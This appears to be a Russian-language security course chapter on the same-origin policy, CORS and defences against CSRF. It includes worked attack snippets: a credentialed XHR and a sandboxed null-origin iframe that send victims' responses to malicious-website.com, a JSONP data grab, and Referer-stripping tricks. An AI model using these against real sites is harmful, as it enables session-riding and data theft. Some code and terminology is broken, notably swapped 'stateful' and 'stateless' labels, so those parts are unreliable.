Описание политики SOP
Разберём политику единого источника (SOP) и политику совместного
использования ресурсов между источниками (CORS). Именно они позволили
снизить количество уязвимых веб-сайтов перед атакой CSRF.
Политика единого источника (SOP — same-origin policy) — это механизм
безопасности веб-браузера, направленный на предотвращение атак веб-сайтов
друг на друга.
Политика единого источника ограничивает доступ сценариев (скриптов) из одного
источника (сайта) к данным другого (другого сайта). Она определяет возможность
доступа к данным из другого источника по совпадению адреса, порта и протокола,
например http, https, web-socket. Эта политика применима только к скриптам и не
затрагивает файлы других расширений, таких как изображения, CSS, HTML-теги,
файлы шрифтов.
В таблице ниже представлен пример результатов работы политики SOP для URL,
который вы уже видели в примерах атаки CSRF (https://uslugi.ru/phone/change) при
запросе данных от сайта из колонки «Сравниваемый URL». В колонках
«Результат» и «Причина» отображены значения возможности такого запроса и
причина, по которой браузер сможет сделать или не сделать этот запрос:
Сравниваемый URL Результа Причина
т
https://uslugi.ru/lk/profile Да Тот же
адрес, порт
и протокол
https://uslugi.ru/phone/change/ Да Тот же
адрес, порт
и протокол
https:// Да Тот же
имяпользователя:пароль@uslugi.ru/phone/chan адрес, порт
ge и протокол
https://uslugi.ru:444/phone/change Нет Тот же
адрес и
протокол,
но другой
порт
http://uslugi.ru/phone/change Нет Другой
протокол
http://en.example.com/dir/other.html Нет Другой
адрес
https://www.e.uslugi.ru/phone/change Нет Другой
адрес
(требуется
точное
совпадение
)
https://uslugi.com/phone/change Нет Другой
адрес
(требуется
точное
совпадение
)
https://uslugi.ru:443/phone/change Явный
порт.
Зависит от
реализации
в браузере
Когда браузер отправляет HTTP-запрос из одного источника в другой, любые
файлы cookie, в том числе в сеансе аутентификации, отправляются как часть
запроса, даже если относятся к другому домену.
Это означает, что ответ будет сгенерирован в рамках сеанса пользователя и в
него войдут любые релевантные данные, характерные для пользователя. Если вы
посетили вредоносный веб-сайт без политики SOP, он сможет читать ваши
электронные письма из Mail.ru, личные сообщения из VK и прочее.
Политика единого источника управляет тем, к какой информации код JavaScript
может получить доступ на вашем веб-сайте и с других веб-сайтов. Обычно вы
можете загружать ресурсы с других веб-сайтов на свой, например:
● изображения с использованием тега <img>;
● видео с использованием тега <video>;
● код JavaScript с использованием тега <script>.
Но с SOP, даже если вы загрузите ресурсы с других веб-сайтов, JavaScript на
вашем веб-сайте не сможет прочитать их содержимое или получить к нему
доступ.
Политика same-origin применяется к веб-страницам и ограничивает доступ к
ресурсам или информации из разных доменов. Но существуют исключения,
которые позволяют коду JavaScript на одном домене изменять значения
определённых объектов на другом домене без ограничений, но не читать и
наоборот.
Например, в объект location или свойство location.href из iframe или нового окна
можно записывать информацию, но не читать. Также свойство length объекта
window (которое хранит количество фреймов на странице) и свойство closed
(которое проверяет, открыта ли дополнительная вкладка) могут быть прочитаны,
но не записаны.
Методы JSONP позволяют выполнять кросс-доменные запросы без ограничений,
которые накладывает политика SOP.
JSONP (JSON с дополнением) — это метод JavaScript, который позволяет веб-
странице или сценарию запрашивать данные из другого домена без ограничений
политики SOP.
Предположим, что на атакуемом сайте для отображения информации из профиля
пользователя использован метод JSONP:
<script>
function jsonpCallback(data) {
// CallBack обработки данных профиля пользователя на
атакуемом сайте
</script>
Чтобы получить доступ к информации профиля пользователя с этого сайта,
злоумышленнику нужно привлечь его на свой сайт с таким скриптом:
Пример запроса с сайта злоумышленника на атакуемый сайт. В нём
использованы методы JSONP, которые оперируют данными профиля
пользователя:
<script
src="https://uslugi.ru/get/data/profile&callback=jsonpCallback">
</script>
Сайт злоумышленника выполнит междоменный запрос на атакуемый сайт через
браузер пользователя, а политика SOP не заблокирует его, так как не
распространяется на методы JSONP.
Из-за устаревших требований стандарта RFC 6454 политика единого источника
более мягкая при работе с файлами cookie. Поэтому они часто доступны со всех
поддоменов сайта, даже если каждый поддомен технически имеет другое
происхождение. Вы можете частично снизить риски, используя атрибут HttpOnly
для cookie.
Политику одного и того же происхождения можно смягчить, используя файлы
document.domain. Это специальное свойство позволяет изменить ограничения
SOP для определённого домена, только если он является частью вашего полного
доменного имени.
Например, у вас может быть домен https://demo.uslugi.ru/user/profile, содержимое
которого вы хотели бы прочитать на https://uslugi.ru/user/profile. Для этого оба
домена должны быть установлены в свойствах document.domain в https://uslugi.ru.
Тогда SOP разрешит доступ между двумя доменами, несмотря на их различное
происхождение.
Обычно эта политика позволяет домену отправлять запросы (запрос выполнится)
к другим доменам, но не получать доступ к ответам. Для ограничения выполнения
самих запросов применяется политика CORS, принципы работы которой вы
рассмотрите в следующем блоке.
Теперь вы знаете, как работает политика SOP. Выполнение атаки CSRF будет
выглядеть так:
Здесь и далее — изображения Skillbox
1. Страница злоумышленника инициирует HTTP-запрос к уязвимому веб-
сайту.
2. Если пользователь авторизовался на уязвимом веб-сайте, его браузер
автоматически включит файл cookie в запрос. При условии, что атрибут
SameSite для файла cookie не используется.
3. Уязвимый веб-сайт обработает запрос как обычно. Отметит, что его сделал
пользователь-жертва, и изменит его номер телефона.
4. Сработала политика SOP из-за разных адресов источника запроса и
приёмника. В этом случае сайт злоумышленника не получил информацию
об успешном выполнении запроса. Тем не менее запрос выполнен.
Перейдём к изучению политики CORS.
Описание политики CORS
Совместное использование ресурсов между источниками (CORS) —
механизм браузера, который обеспечивает контролируемый доступ к ресурсам,
расположенным за пределами данного домена. Он расширяет и добавляет
гибкость политике единого источника (SOP). Но если политика CORS веб-сайта
плохо настроена и реализована, вероятность межсайтовых атак увеличивается.
CORS не защищает от CSRF-атак, хотя и позволяет ограничить их воздействие.
Этот протокол использует набор заголовков HTTP, которые определяют
доверенные веб-источники и связанные с ними свойства, например разрешён ли
доступ с проверкой подлинности.
В CORS используются следующие HTTP-заголовки:
● Access-Control-Allow-Origin указывает, какие домены имеют разрешение на
кросс-доменные запросы.
○ Этот заголовок может указывать на конкретный домен или значение
*. Это показывает, что любой домен может отправить запрос.
● Access-Control-Allow-Methods указывает, какие HTTP-методы разрешены
для кросс-доменных запросов.
○ Например, GET, POST, PUT, DELETE.
● Access-Control-Allow-Headers указывает, какие заголовки HTTP разрешены
для кросс-доменных запросов.
○ Это может быть полезно, если веб-сайт использует собственные
заголовки и не хочет, чтобы они были доступны для других доменов.
● Access-Control-Allow-Credentials указывает, могут ли кросс-доменные
запросы содержать cookies и HTTP-аутентификацию.
○ Если этот заголовок установлен в true, то кросс-доменные запросы
могут включать cookies и другие данные аутентификации. Это может
увеличить вероятность атак CSRF.
○ Если заголовок не установлен в true, то cookie не передаются при
междоменных запросах.
● Access-Control-Expose-Headers указывает, какие заголовки HTTP будут
доступны для других доменов.
○ Это может быть полезно, если веб-сайт хочет передать
дополнительную информацию в ответах на кросс-доменные запросы.
Например, веб-сайт может включить в него имя заголовка с
контрольной суммой ответа, чтобы другой домен мог проверить
целостность данных.
● Access-Control-Max-Age указывает, сколько времени браузер будет
кешировать разрешения для кросс-доменных запросов.
○ Это может сократить количество запросов для получения
разрешений, что ускорит работу веб-сайта.
● Access-Control-Request-Method указывает, какой HTTP-метод будет
использован для кросс-доменного запроса.
○ Браузер отправляет этот заголовок в первом запросе для получения
разрешений.
● Access-Control-Request-Headers указывает, какие заголовки HTTP будут
использованы для кросс-доменного запроса.
○ Браузер отправляет этот заголовок в первом запросе для получения
разрешений. Так веб-сайт узнаёт, какие заголовки HTTP будут в
кросс-доменном запросе.
● Origin указывает, откуда пришёл кросс-доменный запрос.
○ Браузер отправляет этот заголовок в первом запросе для получения
разрешений. Веб-сайт может использовать его, чтобы проверить, что
кросс-доменный запрос исходит из зарегистрированного в
разрешениях домена.
○ Если заголовок Origin не совпадает с зарегистрированным доменом,
то веб-сайт может отклонить кросс-доменный запрос. Это позволяет
защитить от атак CSRF.
Также политика CORS подразумевает, что существуют простые и сложные
запросы.
Простые запросы используют методы HTTP GET, HEAD и POST и не содержат
настраиваемые заголовки. Также в этих запросах могут быть только следующие
enctype:
● application/x-www-form-urlencoded;
● multipart/form-data;
● text/plain.
Такие запросы считаются безопасными и разрешены политикой по умолчанию,
если отсутствуют дополнительные заголовки CORS из списка выше. Запросы с
данными enctype обычно отправляются с помощью тега <form>.
Сложные запросы используют методы, отличные от GET, HEAD и POST,
например PUT, DELETE и PATCH.
При выполнении междоменного запроса с этими методами браузер пользователя
предварительно делает запрос Preflight, чтобы получить заголовки от сайта, не
передавая сookie пользователя. По полученным заголовкам браузер примет
решение, отправить ли запрос на сайт с cookie пользователя или отклонить его.
Ниже представлена схема запроса при атаке CSRF, если при изменении данных
использован сложный метод PUT:
Выполнение атаки CSRF выглядит так:
1. Страница злоумышленника инициирует HTTP-запрос к уязвимому веб-
сайту.
2. Браузер пользователя видит, что сложный метод в запросе, и отправляет
на уязвимый веб-сайт предварительный запрос (Preflight).
3. В ответ сервер уязвимого веб-сайта отправляет список разрешённых
заголовков в соответствии с настроенной политикой CORS.
4. Браузер видит, что этого метода нет в списке разрешённых, и блокирует
выполнение запроса.
5. Атака CSRF не выполняется.
Многие современные веб-сайты используют CORS, чтобы разрешить доступ из
поддоменов и доверенных внешних доменов. Они могут допускать ошибки при
реализации политики или действовать слишком мягко (для работоспособности
сайта). Это может привести к уязвимостям, которыми могут воспользоваться
злоумышленники.
Некоторым приложениям необходимо предоставлять доступ к ряду других
доменов. Ведение списка разрешённых доменов требует постоянных усилий со
стороны разработчиков. Ведь любые ошибки в нём способны нарушить
функциональность. Поэтому некоторые приложения выбирают простой путь,
разрешая доступ из любого другого домена. Пример ошибочной конфигурации:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Если в заголовке сервера Access-Control-Allow-Origin будет “*”, браузер не
отправит cookie пользователя в запросе. Должен быть явный заголовок:
Access-Control-Allow-Credentials: true
Следующий пример ошибочной конфигурации — сервер читает заголовок Origin
из запросов пользователей и включает его в заголовок ответа, который указывает,
что запрашивающий источник разрешён. Рассмотрим приложение, которое
получает следующий запрос:
POST /change/phone HTTP/1.1
Host: https://uslugi.ru/
Origin: https://malicious-website.com // здесь злоумышленник
подставил свой заголовок в запрос
Cookie: sessionid=...
Затем сервер отвечает, подставив домен злоумышленника в заголовок Access-
Control-Allow-Origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
…
Эти заголовки указывают, что доступ разрешён из запрашивающего домена
( malicious-website.com) и в запросах между источниками могут быть файлы cookie
( Access-Control-Allow-Credentials: true). Они будут обрабатываться в сеансе
атакуемого пользователя.
Приложение отображает в заголовке Access-Control-Allow-Origin любой домен,
поэтому абсолютно любой домен может получить доступ к ресурсам из уязвимого
домена или отправить запрос на их изменение. Пример атаки CSRF:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(‘POST’,'https://uslugi.ru/phone/change',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?
key='+this.responseText;
};
Некоторые приложения, поддерживающие доступ из нескольких источников,
делают это с помощью белого списка разрешённых источников. При получении
запроса CORS указанный источник сравнивается с белым списком. Если он
появляется в белом списке, то отображается в заголовке Access-Control-Allow-
Origin. Пример конфигурации сервера с белым списком источников:
Access-Control-Allow-Origin: https://example-site.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Например, приложение получает обычный запрос вида:
GET /data HTTP/1.1
Host: https://uslugi.ru/
...
Origin: https://example-site.com
Приложение сверяет предоставленный источник со своим списком разрешённых
источников. Если он есть в списке, то отображается так:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example-site.com
Ошибки часто возникают при реализации белых списков CORS. Некоторые
организации разрешают доступ со всех своих поддоменов, включая будущие,
которых ещё не существует.
А некоторые приложения разрешают доступ из различных доменов других
организаций, включая их поддомены. Для этого часто сопоставляют префиксы или
суффиксы URL или используют регулярные выражения. Любые ошибки в
реализации могут привести к предоставлению доступа к непредусмотренным
внешним доменам.
Например, приложение предоставляет доступ ко всем доменам с таким
окончанием:
*.uslugi.ru
Злоумышленник может получить доступ, зарегистрировав домен:
https://hacker.uslugi.ru/
Предположим, что приложение предоставляет доступ ко всем доменам со
следующим окончанием:
uslugi.ru*
Тогда злоумышленник может получить доступ, используя домен:
uslugi.ru.hacker.net
Спецификация заголовка Origin поддерживает значение null. Браузеры могут
отправлять значение null в заголовке Origin в различных ситуациях:
● перенаправления между источниками;
● запросы из сериализованных данных;
● запрос по протоколу file;
● запросы из разных источников в песочнице.
Некоторые приложения могут внести источник null в белый список для поддержки
локальной разработки приложения. Например, приложение получает следующий
кросс-доменный запрос:
GET /data
Host: uslugi.ru
Origin: null
Cервер отвечает:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
В этой ситуации злоумышленник может использовать различные приёмы, чтобы
сгенерировать запрос, содержащий значение null в заголовке Origin, для CSRF-
атаки. Этот запрос позволит обойти белый список, что приведёт к успешной
эксплуатации атаки.
Например, можно использовать изолированный iframe (HTML-тег, позволяющий
открывать один сайт в окне другого — как режим «картинка в картинке» на
телефонах, но для веб-сайтов):
<iframe sandbox="allow-scripts allow-top-navigation allow-
forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(post,'uslugi.ru/change/phone',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
CORS — это политика безопасности, реализованная веб-браузерами. Она
контролирует способность скриптов, работающих в одном источнике (домене),
получать доступ к ресурсам в другом источнике. Этот аспект безопасности важно
понимать, чтобы создавать безопасные веб-приложения.
Когда браузер делает запрос к другому источнику, сервер может добавлять
заголовки, которые указывают на разрешённый доступ к ресурсам в источнике.
Это заголовки CORS, без которых браузер заблокирует запрос и скрипт не
получит доступ к ресурсам сайта.
Политику CORS можно использовать для предотвращения атаки CSRF, которая
возможна, когда вредоносный сценарий (скрипт) на одном веб-сайте получает
доступ к ресурсам другого и манипулирует ими. Разрешая лишь запросы
доверенных источников, CORS гарантирует, что только авторизованные скрипты
могут получить доступ к ресурсам.
Перейдём к методам защиты.
Актуальные методы защиты от CSRF
Рассмотрим актуальные методы защиты от атак CSRF. Специалисты по
кибербезопасности обычно лишь дают рекомендации, а исполняют их
разработчики или OPS-специалисты.
Начнём с самого известного метода защиты от атаки CSRF. Благодаря его
внедрению атака потеряла актуальность. Все веб-фреймворки поддерживают этот
метод из коробки, но в некоторых случаях необходимо указать дополнительные
параметры при генерировании ответа для пользователя, чтобы включить его.
CSRF-токены
Наиболее эффективный метод защиты от CSRF-атак — CSRF-токен. Его нужно
включить в запросы, изменяющие пользовательский контент. В целях
безопасности он должен быть крайне непредсказуемым, уникальным для каждого
сеанса каждого пользователя и проверяться до внесения изменений. Обычно
такой токен генерируется при помощи функций в веб-приложении и специальных
алгоритмов.
Это гарантирует обнаружение и предотвращение любых попыток
несанкционированных изменений в данные пользователя.
Токен CSRF позволяет гарантировать, что любые изменения в данных
пользователя являются преднамеренными и сделаны самим пользователем, а не
кем-то, кто им притворяется.
Чтобы защитить веб-сайт или приложение от CSRF-атак, важно использовать
случайные токены, которые нельзя предсказать. Для этого нужен
криптографически безопасный генератор случайных чисел вместе с меткой
времени и общим статическим секретом (конфиденциальными данными, которые
задаются непосредственно в конфигурациях).
Также существует два подхода к созданию токенов CSRF:
● без сохранения состояния (statefull): после создания токена он не
сохраняется на сервере;
● с сохранением состояния (stateless): токен сохраняется на сервере.
Согласно этим принципам, можно использовать несколько типов токенов.
Например, токен без сохранения состояния, который генерируется «на лету» для
каждого запроса, и токен с отслеживанием состояния, который хранится на
сервере для определённого сеанса пользователя.
Исходя из этого выделяют несколько видов токенов.
Synchronizer Token
Этот токен относится к statefull-подходу. В этом случае токен создаётся на
сервере и его значение сохраняется там же. Затем токен отправляется с каждым
запросом, который вносит изменения на стороне сервера. Если токен
недействителен при проверке, сервер отклонит запрос.
Этот метод используют, чтобы предотвратить атаки CSRF. Для каждого
пользовательского сеанса создаётся уникальный токен, обычно хранящийся в
теле запроса, а не в заголовках, который прикрепляется к каждому запросу,
сделанному пользователем, чтобы сервер мог проверить его подлинность.
Пример запроса с использованием данного токена:
POST /change/phone HTTP/1.1
Host: uslugi.ru
Content-Type: application/x-www-form-urlencoded
new_phone=+79003001574&csrf_token=a0b1c2d3e4f5g6h7i8j
9
Токен на основе алгоритмов шифрования
Токен на основе шифрования — stateless-подход к предотвращению CSRF-атак.
Токен шифруют с помощью секретного ключа и отправляют клиенту. Обычно
используют алгоритм AES (симметричный алгоритм блочного шифрования), а
зашифрованными данными становится информация о клиенте и время жизни
токена или временная метка.
Пример использования токена на основе шифрования в веб-приложении:
1. Когда пользователь входит в систему, сервер генерирует токен и шифрует
его с помощью секретного ключа (симметричное шифрование) без
сохранения на сервере.
2. Зашифрованный токен отправляется клиенту в заголовках запроса или в
виде скрытого поля в форме.
3. Когда пользователь отправляет форму, которая вносит изменения на
сервер, клиент включает зашифрованный токен в запрос.
4. Сервер пытается расшифровать токен с использованием своего секретного
ключа.
5. Если токен удалось расшифровать и совпадает временная метка, значит,
запрос валиден и сервер обрабатывает его.
HMAC-based token
Токен на основе HMAC — это подход предотвращения CSRF-атак, при котором
используют Hash-based Message Authentication Code (HMAC). Это метод
криптографической проверки подлинности, который использует хеш-функцию и
секретный ключ.
Основной принцип работы токенов на основе HMAC похож на предыдущий метод.
Сервер генерирует секретный ключ и уникальный токен для каждого сеанса
пользователя.
Когда пользователь делает запрос, который изменяет данные на сервере, клиент
включает этот токен в запрос. Затем сервер использует секретный ключ и данные
запроса для создания нового токена. Если новый токен совпадает с токеном,
включённым в запрос, сервер понимает, что запрос валиден, и обрабатывает его.
Если токены не совпадают, сервер понимает, что запрос является атакой CSRF, и
отклоняет его.
Дополнительно у токена может быть информация о времени его действия или
подпись со стороны сервера.
Передача токенов CSRF в приложение
Необходимость защиты от CSRF атак делает токены CSRF существенным
аспектом безопасности веб-сайта.
Правильная обработка токенов на всех этапах их жизненного цикла крайне важна
для защиты от взлома. Один из способов реализации этого метода — передача
токена клиенту в скрытое поле HTML-формы, которая отправляется методом
POST. Затем токен используют в качестве параметра запроса при отправке
формы. При этом токен должен храниться и передаваться в зашифрованном
виде, а также обладать ограниченным сроком действия.
Пример поля формы с CSRF-токеном:
<input type="hidden" name="csrf-token"
value="CIwVpRTM>s1F2c3bisJy22WApsaAiuX4WFoz" />
Для дополнительной безопасности поле с токеном CSRF необходимо как можно
раньше поместить в HTML-документ. В идеале оно должно быть перед любыми не
скрытыми полями ввода и местами, где данные, контролируемые пользователем,
встроены в HTML.
Это защищает от различных манипулирований HTML-документом и возможного
захвата его содержимого, например от DOM-инъекций или инъекции в HTML.
Токен CSRF должен быть добавлен в HTML-документ перед любыми другими
полями пользовательского ввода, чтобы злоумышленник не смог манипулировать
HTML-документом и захватить токен.
При альтернативном подходе токен размещают в строке запроса URL. Это менее
безопасно (как и метод идентификации сессии пользователя через строку URL),
так как строка запроса регистрируется в разных местах на стороне клиента и
сервера.
А сам токен в строке запроса:
● может быть передан третьим лицам в заголовке HTTP Referer;
● усложняет чтение URL-адреса;
● требует реализации дополнительной логики;
● может отображаться на экране в браузере пользователя.
Пример запроса:
POST uslugi.ru/change/phone?token=a1b2c3d4e5f6g7h8i9j0
Некоторые приложения передают токены CSRF в специальном заголовке запроса,
например X-CSRF-token. Этот заголовок представляет собой дополнительную
защиту от злоумышленника, которому удаётся предсказать или захватить токен
другого пользователя, так как браузеры обычно не позволяют отправлять
пользовательские заголовки между доменами.
Этот подход ограничивает приложение выполнением запросов, защищённых
CSRF, в отличие от HTML-форм. Приходится использовать только XHR-запросы.
Подход может показаться сложным во многих ситуациях.
Пример запроса:
POST /change/phone HTTP/1.1
Host: uslugi.ru
Content-Type: application/json
X-CSRF-token: a1b2c3d4e5f6g7h8i9j0
"new_phone_number": "+1234567890"
По принципам безопасности токены CSRF не должны передаваться в файлах
cookie.
Ниже представлена схема запроса при атаке CSRF с использованием метода
POST и при наличии CSRF-токенов в приложении:
Теперь вы знаете, как работает политика CORS. Выполнение атаки CSRF будет
выглядеть так:
1. Страница злоумышленника инициирует HTTP-запрос к уязвимому веб-
сайту.
2. Сервер атакуемого веб-сайта проверяет наличие CSRF-токена в запросе.
3. Атака CSRF не будет успешной.
За проверку CSRF-токенов отвечает разработчик приложения.
Сгенерированный токен CSRF должен храниться на стороне сервера в данных
сеанса пользователя. При получении запроса, который нужно проверить,
приложение на стороне сервера должно убедиться, что запрос включает токен,
соответствующий значению, которое сохранено в сеансе пользователя.
Эта проверка должна выполняться независимо от метода HTTP или типа
содержимого запроса. Если в запросе нет токена или он недопустим, запрос
должен быть отклонён.
Важно не только реализовать надёжную проверку токена CSRF, но и явно
установить параметры заголовка SameSite для файлов cookie, которые создаёт
веб-сайт. Так, можно контролировать контексты, в которых используется файл
cookie, независимо от браузера.
Даже если все браузеры примут политику Lax by default, это не подойдёт для всех
типов запросов. Это ограничение обойти проще, чем Strict. В то же время
отсутствие поддержки атрибута SameSite в браузерах показывает, что часть
пользователей не получит профит от его использования. В большинстве случаев
вы должны использовать политику Strict по умолчанию.
Перейдём к неактуальным методам защиты.
Устаревшие методы защиты от CSRF
На сайтах могут использовать даже утратившие актуальность методы. Важно
знать о них, чтобы давать правильные рекомендации.
В этом разделе перечислены методы, которые редко применяют для защиты от
CSRF-атак, так как они устарели, оказались ненадёжными, сложными или требуют
дополнительного времени для реализации.
Подтверждение действий на сайте
Ещё один способ защиты от CSRF-атак — использование методов подтверждения
потенциально опасных действий на сайте, например коды, ключевые слова или
активное взаимодействие с веб-интерфейсом (нажатие кнопки «Подтвердить» или
ввод секретного слова).
Эта информация может быть секретным словом, кодом, отправленным на
электронную почту или телефон пользователя, или биометрической
аутентификацией. Это обеспечивает дополнительный уровень безопасности,
поскольку злоумышленнику необходимо не только перехватить запрос, но и
получить доступ к личной информации или устройству пользователя.
Использование заголовка Referer
Этот метод защиты основан на проверке заголовка Referer у входящего запроса.
Если значения данного заголовка нет в списке разрешённых, запрос отклоняется.
У такого метода существует масса минусов и способов обхода. Например:
● принудительное отключение передачи заголовка Referer в запросе
злоумышленника;
● двойные редиректы для перенаправления пользователя при атаке на веб-
сайт (Referer не отправляется);
● использование особенностей браузеров, которые позволяют задать свой
Referer из JS:
function lose_in_ie(url) {
// IE не отправлял referer при window.open()
window.open(url + '&_='+Math.random());
● применение особенностей JavaScript, которые позволяют не указывать или
изменять заголовок:
function post_and_lose(url) {
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-type", "application/x-www-
form-urlencoded");
xhr.setRequestHeader("X-Requested-With",
"XMLHttpRequest");
xhr.send();
Double Submit Cookie
Основная идея этого метода — включить уникальный токен CSRF в файл cookie,
заголовки и HTML-форму. Когда форма отправляется, браузер передаёт на
сервер и файл cookie (или заголовок), и токен. Затем сервер сравнивает токен в
файле cookie с токеном в форме. Если они совпадают, сервер считает запрос
валидным и обрабатывает его. Если оба токена совпадают, то запрос не
подвергся CSRF-атаке.
Недостатки:
● токены из заголовков или cookie доступны всем поддоменам сайта;
● логика приложения усложняется из-за генерации двух разных токенов.
Content-Type based protection
Этот метод опирается на невозможность отправки сложного запроса, так как его
блокирует политика CORS.
● Пользователь должен отправить запрос с определённым заголовком
Content-Type, например application/yaml.
● Классическая CSRF атака не работает, так как в браузере невозможно
отправить произвольный Content-Type через HTML-форму или XHR API из-
за политики CORS.
Заключение
В этом материале вы узнали, как работают политики Same-Origin-Policy и Cross-
Origin-Resource Sharing. Познакомились с методами защиты от CSRF-атак.
Политика SOP не предотвращает CSRF-атаку, а позволяет запрещать
просматривать ответы сервера при выполнении кросс-доменных запросов.
В контексте политики CORS существуют простые и сложные запросы. К простым
относятся:
● методы:
○ HTTP;
○ GET;
○ HEAD;
○ POST;
● типы контента:
○ application/x-www-form-urlencoded;
○ multipart/form-data;
○ text/plain.
К сложным запросам относятся все остальные.
Политика CORS проверяется на стороне браузера, поэтому не работает при
отправке запросов из сторонних программ или консольных утилит.
При использовании сложных запросов браузер выполняет предварительный
запрос к веб-сайту (Preflight-запрос методом Options), чтобы получить перечень
разрешённых заголовков и методов. При использовании сложных запросов для
передачи cookie веб-сервер должен явно задать заголовок Access-Control-Allow-
Credentials: true.
Если заголовок отсутствует, то невозможно выполнить CSRF-атаку с
использованием сложного запроса на атакуемом веб-сайте. Некоторые
исключения вы рассмотрели в прошлых материалах.
Для защиты от CSRF используют целый арсенал методов и решений, для которых
необходимо правильно настроить:
● атрибуты заголовка cookie;
● параметры политики CORS.
Также важно использовать надёжно сгенерированные CSRF-токены.